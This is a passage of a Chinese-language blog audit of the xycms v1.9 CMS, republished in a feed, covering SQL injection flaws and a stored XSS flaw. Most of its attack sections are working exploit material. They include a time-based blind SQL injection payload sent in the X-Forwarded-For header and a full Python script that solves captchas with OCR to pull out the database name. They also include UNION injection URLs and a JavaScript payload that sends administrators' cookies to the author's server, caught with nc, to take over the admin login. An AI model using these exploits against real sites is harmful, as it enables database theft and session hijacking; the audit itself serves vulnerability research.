class="number">127</span>,database_payload,int(database_length)))</span><br></pre></td></tr></table></figure><h2 id="第二处sql注入"><a href="#第二处sql注入" class="headerlink" title="第二处sql注入"></a>第二处sql注入</h2><p><code>/system/loginpass.php</code>关键代码如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">$login_ip=getIp();</span><br><span class="line"> $sql=<span class="string">"select * from admin_user where u_name='"</span>.$m_name.<span class="string">"' and u_pwd='"</span>.$m_pwd.<span class="string">"'"</span>;</span><br><span class="line"> $result=$db->query($sql);</span><br><span class="line"><span class="keyword">if</span>(!mysql_num_rows($result)==<span class="number">0</span>){</span><br><span class="line"> $_SESSION[<span class="string">"m_name"</span>] = $m_name;</span><br><span class="line">$db->query(<span class="string">"UPDATE admin_user SET login_nums=login_nums+1 where u_name='"</span>.$m_name.<span class="string">"'"</span>);</span><br><span class="line">$login_info=<span class="keyword">array</span>(</span><br><span class="line"> <span class="string">'u_name'</span>=>$m_name,</span><br><span class="line"> <span class="string">'login_date'</span>=>strtotime(date(<span class="string">'Y-m-d'</span>)),</span><br><span class="line"> <span class="string">'login_ip'</span>=>$login_ip</span><br><span class="line">);</span><br><span class="line">$db->insert(<span class="string">"admin_login_log"</span>,$login_info);</span><br><span class="line">$db->close();</span><br><span class="line">ok_info(<span class="string">'***cms.php'</span>,<span class="string">'恭喜您,登陆成功!'</span>);</span><br><span class="line"> }</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br></pre></td></tr></table></figure><p><code>getIp()</code>函数如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">getIp</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (getenv(<span class="string">"HTTP_CLIENT_IP"</span>) && strcasecmp(getenv(<span class="string">"HTTP_CLIENT_IP"</span>), <span class="string">"unknown"</span>))</span><br><span class="line"> $ip = getenv(<span class="string">"HTTP_CLIENT_IP"</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">if</span> (getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>) && strcasecmp(getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>), <span class="string">"unknown"</span>))</span><br><span class="line"> $ip = getenv(<span class="string">"HTTP_X_FORWARDED_FOR"</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">if</span> (getenv(<span class="string">"REMOTE_ADDR"</span>) && strcasecmp(getenv(<span class="string">"REMOTE_ADDR"</span>), <span class="string">"unknown"</span>))</span><br><span class="line"> $ip = getenv(<span class="string">"REMOTE_ADDR"</span>);</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">isset</span> ($_SERVER[<span class="string">'REMOTE_ADDR'</span>]) && $_SERVER[<span class="string">'REMOTE_ADDR'</span>] && strcasecmp($_SERVER[<span class="string">'REMOTE_ADDR'</span>], <span class="string">"unknown"</span>))</span><br><span class="line"> $ip = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> $ip = <span class="string">"unknown"</span>;</span><br><span class="line"> <span class="keyword">return</span> ($ip);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里对ip没有做任何的过滤限制,我们可以用http头<code>X-Forwarded-For</code>,对输入的ip进行控制,也就是说,<code>loginpass.php</code>中的变量<code>$login_ip</code>是可控的</p><p><code>insert</code>函数如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">insert</span><span class="params">($tableName, $column = array<span class="params">()</span>)</span> </span>{</span><br><span class="line"> $columnName = <span class="string">""</span>;</span><br><span class="line"> $columnValue = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">foreach</span> ($column <span class="keyword">as</span> $key => $value) {</span><br><span class="line"> $columnName .= $key . <span class="string">","</span>;</span><br><span class="line"> $columnValue .= <span class="string">"'"</span> . $value . <span class="string">"',"</span>;</span><br><span class="line"> }</span><br><span class="line"> $columnName = substr($columnName, <span class="number">0</span>, strlen($columnName) - <span class="number">1</span>);</span><br><span class="line"> $columnValue = substr($columnValue, <span class="number">0</span>, strlen($columnValue) - <span class="number">1</span>);</span><br><span class="line"> $sql = <span class="string">"INSERT INTO $tableName($columnName) VALUES($columnValue)"</span>;</span><br><span class="line"> <span class="keyword">$this</span>->query($sql);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>这里对插入的数据也没有做任何限制</p><p>payload如下</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/system/loginpass.php</span> HTTP/1.1</span><br><span class="line"><span class="attribute">Host</span>: localhost:81</span><br><span class="line"><span class="attribute">User-Agent</span>: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0</span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span><br><span class="line"><span class="attribute">Accept-Language</span>: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line"><span class="attribute">Accept-Encoding</span>: gzip, deflate</span><br><span class="line"><span class="attribute">Content-Type</span>: application/x-www-form-urlencoded</span><br><span class="line"><span class="attribute">Content-Length</span>: 33</span><br><span class="line"><span class="attribute">Origin</span>: http://localhost:81</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Referer</span>: http://localhost:81/system/index.php</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=npvaign44srcvlhjglh9srrqo6</span><br><span class="line"><span class="attribute">Upgrade-Insecure-Requests</span>: 1</span><br><span class="line"><span class="attribute">X-Forwarded-For</span>: 1' and case when (ascii(mid((database()),1,1))<127) then (sleep(5)) else (1) end and '</span><br><span class="line"></span><br><span class="line">admin=1&password=1&checkcode=4K23</span><br></pre></td></tr></table></figure><p>也就是说,我们只要能正确识别验证码,<code>X-Forwarded-For</code>中提交盲注的内容,就可以进行sql注入</p><p>注入数据库名的<code>exp.py</code></p><p>这里必须要安装<code>pytesseract库</code>和<code>tesseract</code>,这样的话ocr识别很快</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"><span class="keyword">import</span> pytesseract</span><br><span class="line"><span class="keyword">from</span> time <span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">r = requests.Session()</span><br><span class="line">url_code = <span class="string">'http://localhost:81/system/code.php?act=yes'</span></span><br><span class="line">url_login = <span class="string">'http://localhost:81/system/loginpass.php'</span></span><br><span class="line">length = <span class="string">''</span></span><br><span class="line">name = <span class="string">''</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里获取验证码,并将原图转为灰度图像,然后再指定二值化的阈值</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">code</span><span class="params">()</span>:</span></span><br><span class="line"> req = r.get(url_code)</span><br><span class="line"> <span class="keyword">with</span> open(<span class="string">'1.png'</span>, <span class="string">'wb'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(req.content)</span><br><span class="line"> <span class="comment">#新建Image对象</span></span><br><span class="line"> image = Image.open(<span class="string">"1.png"</span>)</span><br><span class="line"> <span class="comment">#进行置灰处理</span></span><br><span class="line"> image = image.convert(<span class="string">'L'</span>)</span><br><span class="line"> <span class="comment">#这个是二值化阈值</span></span><br><span class="line"> threshold = <span class="number">150</span></span><br><span class="line"> table = []</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">256</span>):</span><br><span class="line"> <span class="keyword">if</span> i < threshold:</span><br><span class="line"> table.append(<span class="number">0</span>)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> table.append(<span class="number">1</span>)</span><br><span class="line"> <span class="comment">#通过表格转换成二进制图片,1的作用是白色,不然就全部黑色了</span></span><br><span class="line"> image = image.point(table,<span class="string">"1"</span>)</span><br><span class="line"> code = pytesseract.image_to_string(image)</span><br><span class="line"> <span class="keyword">return</span> code</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里判断数据库名长度验证码是否正确,如果错误的话,递归提交,直到正确为止</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkcode_length</span><span class="params">(num2,num1=<span class="number">1</span>)</span>:</span></span><br><span class="line"> payload_length = <span class="string">"1' and case when (ascii(mid((length(database())),{num1},1))={num2}) then (sleep(3)) else (1) end and '"</span></span><br><span class="line"> data = {<span class="string">'admin'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'password'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'checkcode'</span>: code()</span><br><span class="line"> }</span><br><span class="line"> full_payload = payload_length.format(num1=str(num1),num2=str(num2))</span><br><span class="line"> print(full_payload)</span><br><span class="line"> req = r.post(url_login, data=data, headers={<span class="string">'X-Forwarded-For'</span>: full_payload})</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'验证码输入有误'</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> <span class="keyword">return</span> checkcode_length(num2)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里判断数据库名验证码是否正确,如果错误的话,递归提交,直到正确为止</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checkcode_database_name</span><span class="params">(num1,num2)</span>:</span></span><br><span class="line"> payload_database_name = <span class="string">"1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"</span></span><br><span class="line"> data = {<span class="string">'admin'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'password'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'checkcode'</span>: code()</span><br><span class="line"> }</span><br><span class="line"> full_payload = payload_database_name.format(num1=str(num1),num2=str(num2))</span><br><span class="line"> print(full_payload)</span><br><span class="line"> req = r.post(url_login, data=data, headers={<span class="string">'X-Forwarded-For'</span>: full_payload})</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'验证码输入有误'</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> <span class="keyword">return</span> checkcode_database_name(num1,num2)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里返回数据库名的长度</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">database_length</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">global</span> length</span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">48</span>,<span class="number">58</span>):</span><br><span class="line"> payload_length = <span class="string">"1' and case when (ascii(mid((length(database())),1,1))={num1}) then (sleep(3)) else (1) end and '"</span></span><br><span class="line"> data = {<span class="string">'admin'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'password'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'checkcode'</span>: code()</span><br><span class="line"> }</span><br><span class="line"> full_payload = payload_length.format(num1=str(i))</span><br><span class="line"> print(full_payload)</span><br><span class="line"> start_time = time()</span><br><span class="line"> req = r.post(url_login, data=data, headers={<span class="string">'X-Forwarded-For'</span>: full_payload})</span><br><span class="line"> <span class="keyword">if</span> <span class="string">'验证码输入有误'</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> checkcode_length(str(i))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">if</span> time() - start_time > <span class="number">2.5</span>:</span><br><span class="line"> length += chr(i)</span><br><span class="line"> print(length)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里调用database_length()函数来获取数据库名的长度</span></span><br><span class="line">database_length()</span><br><span class="line">print(length)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 这里返回数据库名</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">database_name</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">global</span> name</span><br><span class="line"> payload_database_name = <span class="string">"1' and case when (ascii(mid((database()),{num1},1))<{num2}) then (sleep(3)) else (1) end and '"</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,int(length)+<span class="number">1</span>):</span><br><span class="line"> left = <span class="number">32</span></span><br><span class="line"> right = <span class="number">127</span></span><br><span class="line"> <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line"> mid = (left + right) // <span class="number">2</span></span><br><span class="line"> <span class="keyword">if</span> mid == left:</span><br><span class="line"> name += chr(mid)</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"> data = {<span class="string">'admin'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'password'</span>: <span class="string">'1'</span>,</span><br><span class="line"> <span class="string">'checkcode'</span>: code()</span><br><span class="line"> }</span><br><span class="line"> full_payload = payload_database_name.format(num1=str(i), num2=str(mid))</span><br><span class="line"> print(full_payload)</span><br><span class="line"> start_time = time()</span><br><span class="line"> req = r.post(url_login, data=data, headers={<span class="string">'X-Forwarded-For'</span>: full_payload})</span><br><span class="line"> print(full_payload)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'验证码输入有误'</span> <span class="keyword">in</span> req.text:</span><br><span class="line"> checkcode_database_name(i, mid)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">if</span> time() - start_time > <span class="number">2.5</span>:</span><br><span class="line"> right = mid</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> left = mid</span><br><span class="line"> </span><br><span class="line"><span class="comment"># 这里调用database_name()函数来获取数据库名</span></span><br><span class="line">database_name()</span><br><span class="line">print(name)</span><br></pre></td></tr></table></figure><h2 id="第三处sql注入"><a href="#第三处sql注入" class="headerlink" title="第三处sql注入"></a>第三处sql注入</h2><p><code>/system/hf_book.php</code>关键代码如下,大概在这个页面的18行左右</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">....</span><br><span class="line">....</span><br><span class="line">....</span><br><span class="line">$sxid=$_GET[<span class="string">"id"</span>];</span><br><span class="line">$e_rs=$db->get_one(<span class="string">"select * from ***cms_book where id=$sxid"</span>,MYSQL_ASSOC);</span><br><span class="line">$bid=$e_rs[<span class="string">'id'</span>];</span><br><span class="line">....</span><br><span class="line">....</span><br></pre></td></tr></table></figure><p>先猜测字段数目,11正确,12错误,说明字段数是11</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 11#</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:81/CMS/***cms/system/hf_book.php?id=11 order by 12#</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200408135511.png" alt="image-20200408135511457"></p><p><img src="http://images.xianyu123.club/20200408135556.png" alt="image-20200408135556111"></p><p>看回显部分,字段3和字段5存在回显</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:81/CMS/***cmcs/system/hf_book.php?id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200408135648.png" alt="image-20200408135648088"></p><p>注入出数据库名</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://localhost:81/CMS/***cms/system/hf_book.php?id=11 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11#</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200408135739.png" alt="image-20200408135739867"></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>这里其实还有非常多的sql注入,包括insert注入,delete注入,update注入,由于文章篇幅的原因,没有一一例举。因为源头insert或者update或者delete没有做好过滤,导致了这篇漏洞,所以这里也就不再重复说明,举了几个比较典型的案例来说明</p><h1 id="前台存储型xss"><a href="#前台存储型xss" class="headerlink" title="前台存储型xss"></a>前台存储型xss</h1><p><code>/add_do.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">session_start();</span><br><span class="line"><span class="keyword">require</span> <span class="string">'Conf/***cms.inc.php'</span>;</span><br><span class="line"><span class="keyword">require</span> <span class="string">'Libs/Function/fun.php'</span>;</span><br><span class="line"><span class="keyword">if</span>(strtolower($_POST[<span class="string">"checkcode"</span>])==strtolower($_SESSION[<span class="string">"randval"</span>])){</span><br><span class="line"> <span class="keyword">unset</span>($_SESSION[<span class="string">"randval"</span>]);<span class="comment">//释放session中的变量</span></span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"> <span class="keyword">unset</span>($_SESSION[<span class="string">"randval"</span>]);</span><br><span class="line"> ok_info(<span class="number">0</span>,<span class="string">"验证码输入有误!"</span>);</span><br><span class="line"> <span class="keyword">exit</span>();</span><br><span class="line">}</span><br><span class="line">$byz=$_POST[<span class="string">'b_yzcode'</span>];</span><br><span class="line"><span class="keyword">if</span>($byz!==md5($yzcode)){</span><br><span class="line">ok_info(<span class="number">0</span>,<span class="string">'错误的参数!'</span>);</span><br><span class="line">}</span><br><span class="line">$siteinfo = <span class="keyword">array</span>(</span><br><span class="line"><span class="string">'type_id'</span> => intval(trim($_POST[<span class="string">'type_id'</span>])),</span><br><span class="line"><span class="string">'b_title'</span> => injCheck($_POST[<span class="string">'b_title'</span>]),</span><br><span class="line"><span class="string">'b_content'</span> => injCheck($_POST[<span class="string">'b_content'</span>]),</span><br><span class="line"><span class="string">'b_name'</span> => injCheck($_POST[<span class="string">'b_name'</span>]),</span><br><span class="line"><span class="string">'b_tel'</span> => injCheck($_POST[<span class="string">'b_tel'</span>]),</span><br><span class="line"><span class="string">'b_mail'</span> => injCheck($_POST[<span class="string">'b_mail'</span>]),</span><br><span class="line"><span class="string">'b_qq'</span> => injCheck($_POST[<span class="string">'b_qq'</span>]),</span><br><span class="line"><span class="string">'b_ip'</span> => injCheck($_POST[<span class="string">'b_ip'</span>]),</span><br><span class="line"><span class="string">'c_date'</span> => time()</span><br><span class="line">);</span><br><span class="line">$db->insert(<span class="string">"***cms_book"</span>, $siteinfo);</span><br><span class="line">$db->close();</span><br><span class="line">ok_info(<span class="string">'/index.php'</span>,<span class="string">'恭喜你,留言提交成功!'</span>);</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>第17行到第24行,只对sql注入进行了过滤,并没有对xss过滤,导致了这些提交字段都存在xss漏洞</p><p>然后我们到该页面,进行提交</p><p><img src="http://images.xianyu123.club/20200408141210.jpeg" alt="xss2"></p><p>这里我是用我的服务器进行监听,<code>4.js</code>内容如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">var image=new Image();</span><br><span class="line">image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;</span><br></pre></td></tr></table></figure><p>然后在我自己的服务器上nc监听</p><p><img src="http://images.xianyu123.club/20200408141355.png" alt="xss3"></p><p>然后当管理员在后台点击访问新回复的时候</p><p><img src="http://images.xianyu123.club/20200408141657.jpeg" alt="xss1"></p><p>然后可以打到cookie并且可以成功登录</p><p><img src="http://images.xianyu123.club/20200408141925.jpeg" alt="xss5"></p><h2 id="小结-1"><a href="#小结-1" class="headerlink" title="小结"></a>小结</h2><p>其实这里也有后台存储型xss,但是很鸡肋,就不说了</p>]]></content>
<summary type="html">
<p>本文首发于先知社区——<a href="https://xz.aliyun.com/t/7557" target="_blank" rel="noopener">xycms v1.9的一次审计</a>,转载时请标明出处</p>
</summary>
<category term="Web Security" scheme="http://0clickjacking0.github.io/categories/Web-Security/"/>
</entry>
</feed>